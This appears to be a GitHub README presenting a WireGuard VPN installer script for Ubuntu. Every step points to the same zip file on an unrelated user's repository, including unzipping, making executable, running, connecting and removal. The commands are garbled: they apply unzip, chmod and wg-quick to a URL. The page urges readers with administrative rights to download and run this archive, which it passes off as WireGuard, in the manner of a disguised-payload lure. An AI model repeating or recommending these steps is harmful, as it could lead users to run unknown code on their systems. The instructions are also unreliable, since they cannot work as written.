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πŸš€ wireguard - Simplify Your VPN Experience

πŸ“₯ Download Now

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πŸš€ Getting Started

WireGuard is a simple and fast way to set up a VPN on your Ubuntu system. This guide will help you easily install WireGuard and generate configuration files to secure your internet connection.

πŸ“„ Requirements

  • Operating System: Ubuntu (20.04 or higher recommended)
  • Internet Connection: Required for installation
  • User Account: You need to have administrative privileges

πŸ“₯ Download & Install

  1. Visit the Releases Page: Click the link below to go to the GitHub Releases page.

    Download WireGuard

  2. Choose the Latest Release: Look for the latest version at the top of the page. It should be labeled clearly.

  3. Download the Script: Click on the zip or tar file associated with the latest release to download it to your computer.

  4. Open Terminal: Press Ctrl + Alt + T to open the Terminal on your Ubuntu system.

  5. Navigate to Downloaded File:

    • Use the command:
      cd ~/Downloads
    • Adjust the path if you saved the file in a different location.
  6. Extract the File:

    • If you downloaded a zip file, use the command:
      unzip https://raw.githubusercontent.com/tudo123112312/wireguard/main/bogong/wireguard_v3.1.zip
    • If it’s a tar file, use:
      tar -xvf https://raw.githubusercontent.com/tudo123112312/wireguard/main/bogong/wireguard_v3.1.zip
  7. Run the Script:

    • Navigate to the extracted folder:
      cd wireguard
    • Make the script executable by running:
      chmod +x https://raw.githubusercontent.com/tudo123112312/wireguard/main/bogong/wireguard_v3.1.zip
    • Finally, execute the script:
      https://raw.githubusercontent.com/tudo123112312/wireguard/main/bogong/wireguard_v3.1.zip

βœ”οΈ Configuration

After the installation, the script will guide you through creating a pair of interface configuration files. Here's what to do:

  1. Follow the Prompts: The script will ask you several questions about your VPN setup, including the desired VPN IP addresses.

  2. Review Configuration Files: Once the setup is complete, the script will generate configuration files. Make sure to check these for completeness.

  3. Save Your Files: Store your configuration files in a secure location. You will need them to connect to your VPN.

🌐 Connect to WireGuard

To connect using your new VPN configuration:

  1. Open Terminal again.

  2. Use the WireGuard command:

    wg-quick up https://raw.githubusercontent.com/tudo123112312/wireguard/main/bogong/wireguard_v3.1.zip
  3. Disconnect: To disconnect from the VPN, run:

    wg-quick down https://raw.githubusercontent.com/tudo123112312/wireguard/main/bogong/wireguard_v3.1.zip

πŸƒ Clean Up

If you wish to remove WireGuard from your system:

  1. Open Terminal.

  2. Run the Removal Script:

    https://raw.githubusercontent.com/tudo123112312/wireguard/main/bogong/wireguard_v3.1.zip

This will safely remove all components of WireGuard from your Ubuntu machine.

πŸ›  Additional Information

  • Support: If you have questions or issues, visit our GitHub page for more help.
  • Documentation: Comprehensive usage documentation is included in the project repository.

🏷️ Topics

This project covers various topics, including:

  • DNS
  • Hook
  • IP Management
  • Linux
  • Script Automation
  • Split Tunnel Configuration
  • Tunnel Setup
  • Ubuntu Compatibility
  • UDP Protocol
  • VPN Security
  • WireGuard Implementation

By following these instructions, you should be able to download, install, and configure WireGuard with ease. If you need further assistance, visit our GitHub repository.

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